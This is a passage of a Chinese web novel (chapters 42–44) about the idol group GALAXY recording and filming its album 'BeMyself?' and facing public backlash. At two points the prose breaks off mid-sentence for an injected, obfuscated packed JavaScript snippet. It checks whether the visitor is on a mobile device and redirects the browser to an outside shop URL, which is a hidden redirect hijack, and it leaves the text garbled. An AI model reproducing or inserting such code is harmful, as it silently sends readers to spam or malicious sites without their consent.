“把人间变成失乐园。”她喃喃重复着这句话。 眼底的迷茫逐渐退去,取而代之的,是一种令人胆寒的清醒与野心。 是啊。她为什么要和岑星比谁更干净? 既然已经是蚊子血,那就做那滴最毒的血;既然已经是灾难,那就做那场最大的灾难。 商颂深吸一口气,夜晚的冷风灌入肺腑,却不再让她感到寒冷,反而助燃了体内的野火。 “伯雪寻,”她忽然笑了一下,带着一种即将掀翻棋盘的疯劲,“谢谢你的酒。” “我好像知道,GALAXY的第一张专辑该怎么做了。” 42. 第 42 章 GALAXY的第一次正式企划会议。 苏曼坐在主位,她身后的巨幅PPT上,是堪称完美的出道专辑预案——《GALAXY:Queen''sGambit》(女王的棋局)。 “所以,第一张专辑的核心概念,就是‘女王’人设。”苏曼的声音透过微型麦克风,“我们将以‘棋局’为视觉主题,四位成员分别代表棋盘上的后(Queen)、车(Rook)、象(Bishop)、马(Knight),演绎一场关于权力、谋略与征服的视听大戏。” “主打歌暂定名为《Checkmate》(将军),编曲会以强烈的管弦乐搭配Trap-pop,营造史诗感和攻击性。MV将由韩国顶级团队操刀,视觉上会充满暗黑、华丽、哥特式的元素。服装造型方面,我们已经联系了三个高奢品牌进行深度合作……” 她一条一条地往下说,那是一份堪称完美的、S+级别的商业企划案。它精准、高效、稳妥,每一步都踩在市场的爽点上,每一步都经过了最精密的商业计算,旨在将GALAXY的“女王”人设价值最大化,在最短时间内收割最庞大的市场。 然而,会议桌的另一侧,四个本该为此感到兴奋的女孩,却陷入了一种诡异的沉默。 安夕来下意识地蹙起了眉,那份企划案里的“征服”与“攻击性”,让她本能地感到一丝不适,仿佛又要被套进另一个更华丽却同样不属于自己的角色模板里。童瞳则依旧面无表情,只是握着水杯的手指微微收紧。 “等等。” 最终,是谢卿歌先开了口。 “曼姐,”她身体微微前倾,双手交叉放在桌上,形成一种带有对抗性的姿态,“恕我直言,这份企划案闻起来像一堆用美金堆起来的、漂亮的垃圾。” 苏曼推了推眼镜,镜片后的眼神没有丝毫波动,只是静静地看着她,“理由。” “理由?”谢卿歌像是听到了什么笑话,“理由就是,这上面写的每一个字,都跟我们没有半毛钱关系!” 她站起身,双手撑在桌面上,居高临下地逼视着苏曼。 “女王?棋局?征服?这些词听起来是很宏大,很厉害。但这不过是你们,是市场,是资本,强行贴在我们身上的又一个标签!它和安夕来过去那个‘元气偶像’的标签,和商颂之前那个‘资源咖花瓶’的标签,有什么本质区别吗?不过是从一个笼子,换到了一个更大、更华丽的金笼子里而已!” “我们四个,好不容易才从各自的泥潭里爬出来,才在舞台上喊出那句‘我们是女王’。那句话的意义,不是为了成为你们棋盘上厮杀的棋子,是为了告诉所有人我们有权定义自己的游戏规则!”谢卿歌的声音越来越激动,脸颊因为愤怒而泛起一层薄红。 “而现在,”她指着那份PPT,“你告诉我,我们的第一张专辑,就要去扮演按照你们设定好的剧本去‘将军’别人的棋子?这是女王,还是戴着王冠的新一轮的提线木偶?!” 一番话掷地有声,将这份看似完美的企划案,批驳得体无完肤。 就在气氛僵持到冰点时,一直沉默的商颂终于开口了。 “曼姐,卿歌说的或许有些冲动。”她先是给谢卿歌找了个台阶,随即话锋一转,“但她的核心观点,我完全赞同。这份企划,太‘安全’了。安全到像一个谎言。” “一个关于‘我们已经成为女王’的、美丽的谎言。” 她站起身,走到巨大的落地窗前,背对着众人,看着窗外那片钢铁森林。 “可我们真的成为女王了吗?”她的声音带着一丝自嘲,“我们不过是在一场被资本操控的‘幸存者游戏’里,侥幸活到了最后而已。我们赢了一场战役,但离赢得整场战争,还差得远。” “GALAXY的诞生,对外界而言,是一场逆袭神话。但对我们自己而言,我们很清楚,我们身上的伤口,都还在流血。安夕来还没能完全摆脱‘国民甜心’的枷锁;谢卿歌还在为她那身‘鬣狗’的皮毛与世界为敌;童瞳依旧被视为活在隔绝一切的象牙塔里。而我……” 她顿了顿,没有说下去。 “我们四个,没有一个人,是真正自由的。我们依旧被‘偶像是什么’、‘女王该怎样’这些无形的规则所定义,所束缚。我们甚至,都还没能真正地‘BeMyself’(做自己)。” 她缓缓转过身,迎上苏曼探究的目光。 “所以,我们的第一张专辑,我不希望它是一场虚假的、高高在上的‘加冕礼’。我希望它是一场坦诚的、甚至有些狼狈的‘自我剖白’。” 她走到会议桌前,拿起一支记号笔,在那份名为《Queen''sGambit》的企划案封面上,重重地划掉那一行字,然后写下了两个崭新的单词—— 《BeMyself》 随即,她又在那两个单词后面,加上了一个充满了嘲讽意味的问号。 《Bemyself?》 “我想做的,不是告诉所有人‘如何成为女王’。”商颂放下笔,目光灼灼地看着苏曼,“而是和所有人一起探讨——‘我们真的可以成为自己吗?’,以及,‘成为自己的代价,又是什么?’” 那是一种比单纯的征服,更可怕也更具煽动性的力量。那是一种要将整个行业的虚伪表皮都撕开,露出底下血淋淋的“结构性顽疾”的疯狂。 苏曼忽然就笑了。那是一种充满了欣赏与兴味的笑意。 “有意思。”苏曼缓缓地鼓起了掌,“我开始有点期待了。” 她看向商颂,眼神里是前所未有的郑重,“把你的方案,拿出来给我看。” 于是,在那天下午,GALAXY四人向三方巨头,提交了一份堪称“大逆不道”的专辑概念案。这份概念案的核心,只有一句话。 ——《BeMyself?用嬉皮士的糖衣包裹结构性的顽疾!》 作为娱乐圈的金牌推手,苏曼比谁都清楚:当一个偶像团体不再满足于做橱窗里的洋娃娃,而是试图拿起斧头砸碎玻璃时,只有两种结果——要么被碎片划得遍体鳞伤,要么这声巨响会震碎整个行业的耳膜。 苏曼赌后者。 通过多年积攒的海外人脉,苏曼这通越洋电话直接打到了AlexChen的私人手机上。AlexChen,圈内著名的“怪胎”,二十三岁斩获格莱美最佳编曲的华裔天才。他把自己藏在洛杉矶,拒绝了无数顶级Diva的邀约,只做那些在他看来“有灵魂”的音乐。 一周后,GALAXY四人连同苏曼,已经站在了加州威尼斯海滩的一栋不起眼的工业风建筑前。 “坐。随便找地方,除了那台合成器,它比我的命还贵。” 声音是从调音台后面传来的。椅子转过来,一个穿着松垮灰色卫衣、头发乱得像刚遭遇了静电袭击的年轻男人出现在众人面前。 当他抬起头时,除了商颂,其他三个女孩都微微愣了一下。 那就是传说中AlexChen的眼睛。 那是上帝在造人时,不小心把东方的水墨和爱琴海的波浪混在一起的结果。在一张棱角分明的东方面孔上,镶嵌着一双剔透深邃的湛蓝色眼眸。 “我是Alex。”他并没有站起来握手,手里还转着一只马克笔,“听过Demo了。概念很疯,我很喜欢。但我只有一句话:在我这里,要么拿出要把声带撕裂的觉悟,要么现在就滚回机场买免税化妆品。” 果然如传闻中一样,才华与脾气成正比。 “我们既然飞过半个地球来了,”商颂往前走了一步,摘下墨镜,眼神并未闪躲,直视着那双蓝眼睛,“就没打算完整地回去。” Alex盯着她看了两秒,嘴角那抹嘲讽的弧度淡去了一些,马克笔指向最里面的录音棚。 “Proofit.(证明给我看。)” 第一天的录音进程并不顺利。或者说,是一场灾难。 童瞳在录《回音室小夜曲》时,因为太过在意音准,被Alex叫停了十八次。 “Stop!”Alex摔了耳机,那双蓝眼睛里满是烦躁,“我不要这种精准的完美!你是被人关在回音室里的囚徒,不是在那儿唱唱诗班!破音会不会?撕裂感懂不懂?你的痛苦难道也是按照乐谱上一板一眼演奏的吗?” 童瞳被骂得眼圈通红,却硬是咬着牙,一遍遍把自己关进那个全黑的录音棚里,直到深夜,当那声充满绝望与尖锐的海豚音划破监听室的空气时,Alex才按下了保存键。 “Pass(过)。”他冷冷地吐出一个词,脸上没有表情,但眼神明显亮了一下。 这种高压状态持续了整整三天。 当轮到制作整张专辑的核心曲目——商颂的那首《杜鲁门女孩的忧郁》时,气氛更是凝重到了极点。 这首歌需要一种极其微妙的质感。既要有作为“顶流女星”的精致与疏离,又要有作为一个“清醒的受害者”的疲惫与自我厌弃。 Alex试遍了棚里所有的麦克风,都不满意。 “不对,声音太‘干净’了。”Alex皱着眉头,在控制台前焦躁地来回踱步,灰色的卫衣被他扯得领口变了形,“我要那种……像是在威士忌里泡了一整晚的烟蒂的味道。商颂,你的技巧太完美了,完美得像是一层塑料膜,隔绝了所有的真实情绪。” 商颂站在麦克风前,隔着厚厚的隔音玻璃,看着外面那个抓狂的天才制作人。 她知道Alex在说什么。 这些年,无论是作为演员还是爱豆,她学会的第一件事就是“防御”。用完美的笑容防御恶意,用精湛的演技防御窥探,用毫无瑕疵的唱功防御质疑。这种“防御机制”已经刻进了她的肌肉记忆里。 只要灯光一亮,那个完美的“商颂”就会自动接管身体。 “Pause(暂停)。” 商颂突然对着麦克风说了一句,然后摘下耳机,推门走出了录音棚。 苏曼有些担心地站起来,“颂颂,怎么了?” “休息十分钟。”商颂摆摆手,径直走向了休息区的露台。 Alex没有阻止,他的蓝眼睛眯了起来,似乎在观察这个他在视频会议里就格外留意的女孩。他拿起桌上的两杯冰美式,跟了出去。 露台上,加州的阳光正热烈得不讲道理。商颂靠在栏杆上,手里没有烟,只是盯着远处的棕榈树和蓝天发呆。 “Onedollarsaysyouarehidingsomething.(我赌一美元,你在隐藏什么。)” 一杯冰美式贴在了商颂的脸颊边,激起一阵凉意。 商颂转过头,看着身边的Alex。阳光下,他那双混血的蓝眼睛像是一块没有杂质的冰川,清澈,但也冷漠。奇怪的是,这种冷漠反而让商颂感到放松。因为这双眼睛里没有欲望,没有讨好,只有一种同类的嗅觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262956|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “Alex,”商颂接过咖啡,却没有喝,她的声音很低,换成了流利的美式英语,“你看过那部电影吗?《楚门的世界》。” “这也是你们这首歌的灵感来源,不是吗?”Alex耸耸肩。 “电影里,他最后走出了那扇门,在这个充满了虚假摄影棚的世界里谢幕。”商颂看着那刺眼的阳光,轻声说道,“大家都为那一刻感动。但我常常在想走出门之后呢?” Alex的动作顿住了。 “走出门之后,他是个只有高中学历、没有任何真实社会经验的中年人。他最爱的妻子是演员,他最好的朋友是演员,甚至他的初恋可能都是剧本安排的伏笔。除了那一点点可怜的‘自由意志’,他一无所有。”商颂转过头,眼神里是一种让人心惊的荒凉。 “你知道这种感觉吗,Alex?当你发现自己所有的辉煌、所有的掌声、所有的爱与恨,其实都只是为了配合某种资本叙事而存在的泡沫……那种感觉,不是愤怒。愤怒是有力量的。那种感觉是疲倦。像是你在水底挣扎了太久,终于决定,不再换气了。” 海风吹过,卷起商颂颊边的碎发。此刻的她,不再是那个光芒万丈的顶流,也不再是那个野心勃勃的策划者。 她像个被打碎了又勉强拼凑起来的玻璃娃娃,美得惊心动魄,也碎得触目惊心。 Alex看着她,那双漂亮的蓝眼睛里,第一次褪去了那种作为制作人的审视与挑剔。作为一名在这个名利场里摸爬滚打、有着一半白人血统却始终游离在主流文化之外的“异类”,他太懂那种“局外人”的荒谬感了。 那是他们这种人的共同语言——在热闹的狂欢里,时刻保持着一种冷静到残忍的清醒。 “Waithere.(等在这。)” Alex突然把手里的咖啡杯重重往栏杆上一放,转身冲进了录音棚。 五分钟后,他抱着一把琴身已经磨损掉漆的木吉他冲了出来。 “Fuckdigitalsound.(去他妈的数字音效。)”Alex爆了一句粗口,平日里的精英高冷范儿荡然无存,眼神狂热得像个疯子,“这把吉他,是69年伍德斯托克音乐节流出来的老古董。它的音准甚至都不是完美的,但它有着该死的故事感。” 他把吉他塞进商颂怀里。 “别回录音棚了。就这里。就在这个露台上。没有修音,没有防喷罩,只有这个糟糕的风声,这把该死的老吉他,还有你现在这个让人看了想陪你一起坠落的表情。” Alex不知从哪掏出了一个便携式收音设备,几乎是半跪在地上,把麦克风对准了商颂。 “Singit.ShangSong.Don''tperform,justbleed.(唱出来。商颂。别表演,流血吧。)” 商颂低头看着手里这把破旧的吉他,手指轻轻抚摸过那粗糙的琴弦。 加州的阳光明明那么暖,落在身上,却像是舞台上的聚光灯一样灼热。 她闭上眼。脑海里闪过那个曾真心爱过最后却在这个圈子里分道扬镳的男人,闪过那些网络上如同苍蝇般嗡嗡作响的评论,闪过她在无数个深夜对着镜子练习完美笑容的自己。 前奏是即兴的。手指扫过琴弦,发出略带浑浊的、嗡鸣的声响。 商颂开口了。 没有任何技巧的修饰,她的声音里带着一种尚未醒酒的慵懒和沙砾感,混杂着周围偶尔传来的海鸥叫声和远处的车流声,在这异国的露台上,缓缓流淌。 【天气预报说,今天天晴,宜微笑 隔壁的邻居,送来刚出炉的蛋糕……】 这一次,她没有在唱那个人设完美的商颂。她在唱那个被困在躯壳里的小女孩。 一曲终了。 吉他的尾音还在空气中颤动。商颂依旧闭着眼,一滴眼泪,顺着她没有任何妆容修饰的脸颊,毫无预兆地滑落,“啪”地一声,滴在了那把老吉他的面板上。 死一般的寂静。 直到Alex从地上站起来,他的膝盖上甚至沾着露台上的灰尘。这个从见面开始就没给过任何人好脸色的天才制作人,此刻那双蓝眼睛里,燃烧着一种虔诚的光芒。 他没有说“Perfect”,也没有说“Goodjob”。 “这首歌的混音,”Alex的声音有些暗哑,他低头看了一眼那台收录了刚才那一幕的设备,“哪怕这背景里有海浪声和杂音,我一个赫兹都不会修。” 他抬起头,冲着还在微微颤抖的商颂,露出了见面以来的第一个笑容。 那不是礼节性的假笑,而是一个有着漂亮蓝眼睛的大男孩,遇到了灵魂拍档时那种孩子气的、得意的笑。 “Congratulations,MissTruman.” “你在那一刻,砸碎了墙壁。” 不远处,透过落地窗看着这一切的苏曼,轻轻吐出了一口一直憋着的浊气。谢卿歌不知道什么时候站在了她身后,看着露台上那个抱着吉他的背影,眼神复杂。 “曼姐,你知道我在想什么吗?” “什么?” “我在想……”谢卿歌抱着手臂,“等到这首歌真正放出来的那一天,国内那些还把我们当‘流量商品’看的人,脸上会是什么精彩的表情。” 苏曼转动着手里的戒指,“那一定是整个娱乐圈,最美的一场灾难现场。” 43. 第 43 章 AlexChen不仅是个强迫症患者,还是个控制欲极强的疯子。 这一点,苏曼在签下那天价制作费用的支票后,才后知后觉地意识到。当原定好的好莱坞知名MV导演被Alex毫不客气地轰出录音棚时,苏曼甚至能听到预算在燃烧的声音。 “那些只会拍该死的美颜大头特写和慢动作旋转跳跃的白痴导演,懂什么叫概念?”Alex把那个价值连城的复古取景器挂在脖子上,那双蓝眼睛里满是不加掩饰的傲慢,“音乐是听觉的骨架,画面是视觉的血肉。我想把这把刀插进观众的心脏,就不可能把手交给一个只知道怎么打光能遮住毛孔的蠢货。” “你要自己导?”谢卿歌挑眉,并没有被冒犯,反而一脸兴味。 “我在南加大学电影的时候,格莱美还没给我发那座留声机。”Alex调整了一下镜头的焦距,将那个黑洞洞的枪口对准了面前的四个女孩,“在这个片场,忘记你们是爱豆,是女明星。你们只是我的标本,我的试验品。” “Cut!垃圾!太像人了!” 这已经是第三十次喊卡。《快乐永动机》里的安夕来站在一片布满人造向日葵的置景中央,脸上的妆容精致完美,白色的裙摆被鼓风机吹得如梦似幻。 Alex暴躁地冲进花海,那把总是拿着马克笔的手,此刻粗暴地扳过安夕来的下巴,左右端详。 “安,你在干什么?眼神里为什么有光?我在你的这首歌里写得明明白白——你是机器!你是商品!我要的不是偶像安夕来的甜美微笑,我要的是一种……”Alex顿了顿,眼神阴冷下来,“尸僵感。” “想象一下,”Alex的声音变得像一条滑腻的蛇,钻进安夕来的耳朵,“这是你连续工作的第48个小时。你的肌肉已经溶解了,你的神经已经坏死了。但是灯光还在,粉丝还在尖叫。你不敢倒下。你的灵魂已经飘在天花板上看着这具身体了,但这具身体还在依照肌肉记忆微笑。” 安夕来闭上了眼。 三秒钟后,当她再睁开眼时,站在旁边的苏曼猛地打了个寒颤。 那种眼神变了。原本属于安夕来的那种温润和灵动彻底消失。那是一双绝对对称明亮,却也是绝对死寂的眼睛。嘴角上扬的弧度像是用量角器卡出来的标准15度,明明是在极度灿烂地笑着,却让人感觉脊背发凉。 “Action。”Alex的声音这次低沉而满意。 随着那首欢快的、充满夏威夷风情的BGM响起,安夕来开始跳舞。那是元气满满的女团舞步,每一个踩点都精确到毫秒。但在某个转身的瞬间,她按照Alex的指示,做出了那个贯穿整首歌的动作—— 她的右手反手伸向后背,那里后期会被加上一把巨大的金色发条钥匙。 她的动作机械“咔哒咔哒”地拧动着那并存在空气中的发条。 每拧一下,她的笑容就灿烂一分,眼底的空洞也就扩大一分。那种仿佛下一秒就会支离破碎的恐怖谷效应,在这个阳光明媚得甚至有些刺眼的置景里,被放大到了极致。 “就是这样……”监视器后,Alex舔了舔干燥的嘴唇,蓝色的瞳孔兴奋地收缩,“甜美的噩梦。” 如果说安夕来的片场是令人不适的“伪美好”,那么《市场圣母》里谢卿歌的片场就是一场恶俗的视觉强|奸。 背景全是高饱和度的色彩,充满了上世纪90年代低成本电视广告的既视感。 “把你所有的酷劲儿都收起来,谢。”Alex手里拿着一把类似于超市用来打价格标签的机器,“这是一场拍卖。你是女王,但你也是那个正在推销自己的人。” 谢卿歌换上了一套夸张的粉色香奈儿风格套装,带着巨大的珍珠项链,手里举着那个写着“99.8”的巨大标价牌。 “更用力一点!更谄媚一点!像那些在直播间里嘶吼着‘家人们’的主播一样!”Alex大声吼道,“在镜头面前,分裂你自己!这一秒是清纯圣母,下一秒是夜店女郎!把标签贴满全身!” 这一场戏的高|潮,在于Alex设计的一个名为“条形码刑罚”的镜头。 音乐来到了那段极速的Rap部分,谢卿歌在这个色彩斑斓的“超市货架”背景中疯狂换装——学生装、职场装、甚至带着某种暗示意味的性感紧身衣。 最后,所有的谢卿歌消失,只留下一个穿着肉色紧身衣,蜷缩在巨大的购物车里。 周围无数双带着白手套的手,拿着红色的“50%OFF”(半价)、“OnSale”(促销)、“SoldOut”(售罄)的贴纸,疯狂地往她身上贴。 谢卿歌在那些贴纸落下的瞬间,表情从麻木到惊恐,最后变成了配合的大笑。她一边被“贱卖”,一边对着镜头抛出了一个充满讽刺的媚眼。 “Bingo.”Alex打了个响指,“这种的傲慢,才是对这个市场最大的耳光。” 给《回音室小夜曲》童瞳拍摄这一天,Alex清空了摄影棚里所有的彩色灯光。只留下一面白墙,一把椅子,和一台巨大的工业投影仪。 “我看过你在综艺里被叫做‘自闭儿’的片段。”Alex拿着一杯冰美式,蹲在童瞳面前,像是个在诱导小孩做坏事的恶魔,“他们说你不合群,说你装清高。而在网上,关于你的评论,是极与极的撕裂。” 童瞳抱着膝盖坐在椅子上,显得格外瘦小。 “这首歌没有复杂的剧情。”Alex指了指投影仪,“唯一的道具,就是那些真正的、来自网络的文字。那些赞美你的,和那些想要杀死你的。” 这原本只是一个“视觉化音频”的概念,但在Alex手里,变成了真正让人窒息的影像艺术。 拍摄开始。 黑暗中,投影仪的光束打在童瞳那张没有任何妆容修饰的脸上。起初,是一行行白色的弹幕代码—— 【这是仙女下凡吗?】【GALAXY的唯一净土】【这才是vocal】 这些文字如水流般划过她的脸颊、锁骨、手臂。童瞳闭着眼,神情陶醉,似乎在享受这层光鲜的“茧”。 紧接着,音乐节奏变得急促、诡异,那此起彼伏的噪音采样开始轰炸耳膜。投影的文字变了,变成了血红色,速度加快十倍—— 【绿茶婊】【装什么纯】【假唱】【死全家】【资源咖】 那些恶毒的词汇,密密麻麻地投射在她白色的裙子上,像爬满了黑色的虫豸。最后,文字快到连成了一片刺眼的光斑。 “Scream!(尖叫!)”黑暗中,Alex的声音如同判官落下的一记重锤。 童瞳猛地睁开眼。 她没有发出声音,但她张大了嘴巴。在这个封闭的黑色空间里,她用尽全身力气,表演了一场无声的尖啸。那是溺水之人在水底最后的呼救,是笼中鸟撞向铁栏那一刻的悲鸣。 而那唯一的投影光源,精准地捕捉到了她眼角那一瞬间生理性溢出的泪水,在那张布满了诅咒弹幕的脸上,划出一道干净得令人心碎的痕迹。 监视器前,连一向心理素质强大的商颂都别开了脸。这种把伤口撕开来展览的艺术,实在太过残忍,却也太过震撼。 最后的终章。 这是一场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273375|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗局的揭晓:《杜鲁门女孩的忧郁》。 Alex租来了一辆雪佛兰复古敞篷车,四人穿着最自由奔放的嬉皮士长裙,头发被鼓风机吹得凌乱狂野。背景是合成上去的加州一号公路,落日熔金,大海湛蓝。 拍摄这一段时,大家都很快乐。那是真的很纯粹的快乐,仿佛她们真的在这一刻逃离了名利场,是在进行一场说走就走的公路旅行。 商颂驾驶着车,嘴里哼着布鲁斯摇滚的调子,眼神里全是那种大女主看透一切后的洒脱。 直到—— “Dropthecurtain.(落下帷幕。)”Alex的声音冷冷响起。 这是全专最贵的一个长镜头。 在后期特效的配合下,原本那壮阔的海景和公路,在一瞬间开始闪烁、花屏。就像是一块接触不良的LED屏幕。 画面拉远,再拉远。 那根本不是什么加州一号公路。那是四个人坐在一辆只有车壳的道具车里,车底是不会动的轨道。而她们四周,不是海风和夕阳,而是黑压压的一圈长枪短炮的摄像机,和数百名举着应援棒、脸上挂着疯狂神色的群演。 镜头聚焦在商颂脸上。 前一秒,她还是那个享受自由的摇滚女主唱,笑得肆意飞扬。 后一秒,当那虚拟的“夕阳”熄灭,一盏惨白的聚光灯“啪”地打在她脸上时。 商颂的表情甚至没有来得及收回。那个大笑僵在了半空中,在苍白灯光的映照下,瞬间变成了一个滑稽的小丑式笑容。 Alex设计的那个动作堪称神来之笔—— 商颂在灯光亮起的瞬间,那种常年养成的肌肉记忆被唤醒了。她几乎是条件反射地整理了一下头发,迅速收敛了那个真实的狂笑,换上了一个练习过无数次的标准营业微笑。 眼神里那刚刚燃起的火焰,在这标准微笑出现的一刹那,彻底熄灭了。 “Cut!Perfect.” 当这最后一声“Cut”落下时,整个洛杉矶摄影棚陷入了长久的死寂。 GALAXY四个人依然保持着最后的那个姿势坐在那辆不动的车里,似乎有些分不清哪里是戏,哪里是人生。 苏曼站在监视器后面,看着回放里那一幕幕光怪陆离、既美艳又惊悚的画面,只觉得喉咙发干。她转过头,看着正在收拾昂贵镜头的AlexChen。 这个年轻的天才制作人兼导演,正哼着一段不知名的小调,用衣角擦拭着那块“现实的刀片”。 “这大概是我这辈子,参与过的最危险的赌局。”苏曼低声说道。 Alex停下手里的动作,抬头看着那四位正互相搀扶着走下布景的女孩,那双总是带着嘲讽的蓝眼睛里,第一次浮现出一丝类似于“尊重”的暖意。 “如果这也算是赌局,那我不介意Allin。”Alex摘下鸭舌帽,随手扔在桌上,“这四支MV放出去,你们在国内所谓的‘清纯玉女’人设就全毁了。” “在废墟上建立起来的东西,”商颂走了过来,“才不会再一次崩塌。” 她看向Alex,伸出了手。 “合作愉快,Alex导演。我想,这把刀,应该足够锋利了。” Alex看了一眼她伸出的手,这次他没有无视,而是握了上去。 “这不只是一把刀,MissShang。”Alex笑了,露出一排整齐洁白的牙齿,“这是一场献给那个充满了虚假和泡沫的娱乐圈的豪华葬礼。我敢保证,等到专辑上线那天,有些人的脸,会比我在恐怖片里见过的还要难看。” 44. 第 44 章 《Be 十二月二十日,凌晨零点。 当《BeMyself?》的数字音源如同一场精心策划的午夜海啸,席卷全球各大音乐平台时,内娱的版图在一瞬间被割裂成了泾渭分明的两大块:一部分,在狂欢;而另一部分,则陷入了巨大的沉默,以及随之而来的更猛烈的愤怒。 狂欢,属于那些真正听懂了这张专辑的乐评人、文化研究者,以及那些早已厌倦了流水线产品的“非典型”听众。 国内最权威、也最挑剔的独立音乐评论网站“耳膜穿刺”,在专辑上线后的第十分钟,就史无前例地给出了满分——10.0的评分,标题只有一句话,却足以说明一切:“GALAXY杀死了C-Pop,然后为C-Pop的尸体,举办了一场最华丽的葬礼。” 知名乐评人“毒舌三太子”连夜更新长文,一改往日的辛辣刻薄,字里行间充满了被彻底征服后的颤抖与敬畏: “我收回之前对GALAXY的所有预判。我以为这不过是又一场资本堆砌的贩卖人设的商业奇观。但我错了,错得离谱。《BeMyself?》不是一张专辑,它是一份宣言,一份檄文,是四个遍体鳞伤的女人,用音乐的烈酒混合着自己的血与泪,泼向这个操蛋行业的公开信。” “她们用最甜美的旋律,唱出了最残酷的真相。《永动快乐机》是对偶像工业‘情绪阉割’的血泪控诉,《市场圣母》是对女性被‘标签化物化’的辛辣讽刺,《回音室小夜曲》是社交媒体时代每个人都无法逃脱的‘信息茧房’悲剧,而《杜鲁门女孩的忧郁》……则是对整个娱乐生态乃至我们每个人生存困境的终极拷问。这张专辑的深度和野心,已经远远超出了‘女团音乐’的范畴。它是一面镜子,照出了我们每一个人的虚伪、脆弱与挣扎。” “我不知道这张专辑的市场反响会如何,我甚至不敢去想。因为它太真实,太痛苦,太不留情面。它没有给出任何答案,只留下了一个又一个血淋淋的问号。但这或许,就是GALAXY的意义。她们不是来治愈你的,她们是来刺痛你,唤醒你的。” 然而,与业界的惊叹和部分听众的狂热形成鲜明对比的,是主流市场,尤其是那些习惯了甜美C-Pop曲风的低龄听众的巨大困惑与反感。 专辑评论区和相关广场,迅速被另一种声音占领。 十二月二十日,清晨六点。 一个名为“娱乐圈纪委书记”的千万粉丝级营销号,发布了一条看似不经意实则经过精心策划的微博。 “最近被某‘女王女团’的新专辑刷屏了,听了一下,只能说,不知所云。某些人与其花心思搞这些故弄玄虚的‘概念’,不如先把自己身上的事儿说清楚。一个靠着金主砸八千万捧出来的‘资源咖’,一个出道以来所有话题都离不开男人的‘绯闻女王’,现在摇身一变,成了引领女性力量的‘先锋’了?你不觉得可笑吗?还是说,‘BeMyself’的意思,就是可以心安理得地‘BeaBitch’?” 这条微博,像一根被精准投掷的引信,瞬间点燃了早已积压多时的火药桶。 #商颂包养# #商颂滚出GALAXY# #GALAXY德不配位# 【???就这?这就是吹了半天的神专?我听了个啥?一堆阴阳怪气的噪音和故弄玄虚的歌词?】 【脱粉了。我只想看漂亮姐姐唱甜歌跳辣舞,谁要听你给我上社会学公开课啊?GALAXY滚出来退钱!】 【安夕来疯了吗?FLOW%ER时期的灵气都去哪儿了?毕业了不是为了做自己喜欢的音乐吗?这种阴间歌曲是你喜欢的?你被其他三个人绑架了吗?!@安夕来工作室请给个解释!】 【期待越大失望越大,你就给我听这个?我还以为你们要征服世界,结果你们就跟我说你们有多惨?卖惨固粉也要有个限度吧?!】 舆论,两极分化。支持者将其捧上神坛,称之为“划时代的艺术品”;反对者则将其踩进泥里,斥之为“自命不凡的垃圾”、“挂羊头卖狗肉的骗子”。 此刻,海湾音乐节后台。 狂风夹杂着海水的咸腥味灌进候场帐篷。外面是几万人汇聚的声浪,前面那支朋克乐队正在疯狂躁动,而GALAXY的休息室里,死一般的寂静。商颂坐在化妆镜前,手机屏幕的光打在她惨白的脸上,倒映出那些恶毒的字眼——“滚出”、“婊子”、“资源咖”。 一只手突然抽走了她的手机。 “再看手机没收。”苏曼盯着商颂的眼睛,“在这个圈子里,没有人在乎你受了多少委屈,也没人在乎谣言是不是真的。除非你站在舞台上,用那个该死的麦克风,把那些人的脸打烂。” “准备上场。” 舞台灯光骤暗。 当GALAXY四个人站在升降台上时,台下原本喧闹的人群突然爆发出一阵奇怪的嘘声,紧接着,原本零星亮着的应援灯牌,像是被传染了一样,一片接一片地熄灭。 这是偶像工业中最残酷的刑罚——“黑海”。 在这个露天音乐节上,这群买着通票进来的观众,无论是因为网络上的黑料,还是因为对偶像团体天然的鄙视,在此刻达成了惊人的默契:他们要用黑暗和沉默,给这群不知天高地厚的“塑料花”一个下马威。 黑暗中,商颂的手在发抖。不是因为冷,而是因为那种扑面而来的成千上万人的恶意。 忽然,一只滚烫的手紧紧攥住了她的左手。是谢卿歌。 紧接着,右边的安夕来和后方的童瞳,也将手伸了过来,四个人的手掌在黑暗中用力交叠。 “我在。”谢卿歌低声说,声音里压着火,“让他们闭嘴。” “安夕来,压住那个音。”童瞳在最后关头提醒。 “放心,除非我死在台上。”安夕来咬碎了平日里的温吞。 灯光炸裂的瞬间,商颂猛地抬头。那一刻,所有人惊讶地发现,那个传说中靠男人上位的“花瓶”眼中,没有恐惧,没有讨好,只有一种令人心惊肉跳的轻蔑。 【你们想要什么样的圣母? 裁剪好的笑容还是切掉舌头的玩偶?】 商颂开了口。不是录音棚里精修的完美音色,而是带着强烈颗粒感甚至有一丝因为极度愤怒而颤抖的真声。稳,且狠。 紧接着是安夕来。 那些举着手机准备录下“车祸现场”回去嘲笑的人愣住了。那个记忆中只会唱甜腻小情歌的前女团成员,此刻扯下了原本柔顺的长发皮筋,任由狂风吹乱发丝。她一手按着腹部,那是练习室里被童瞳无数次按压的地方,丹田发力,共鸣腔全开—— “Ahhhh!!!” 一段跨越八度的长吟,没有任何垫音,没有任何修饰,那种穿透力强悍到让前排观众感到耳膜震动。这不是花瓶的哀鸣,这是来自深渊的咆哮。 台下有人震惊地放下了手中的爆米花,“我去……全开麦?这种天气全开麦?” 节奏推进到高潮,童瞳作为主舞冲到了最前面。 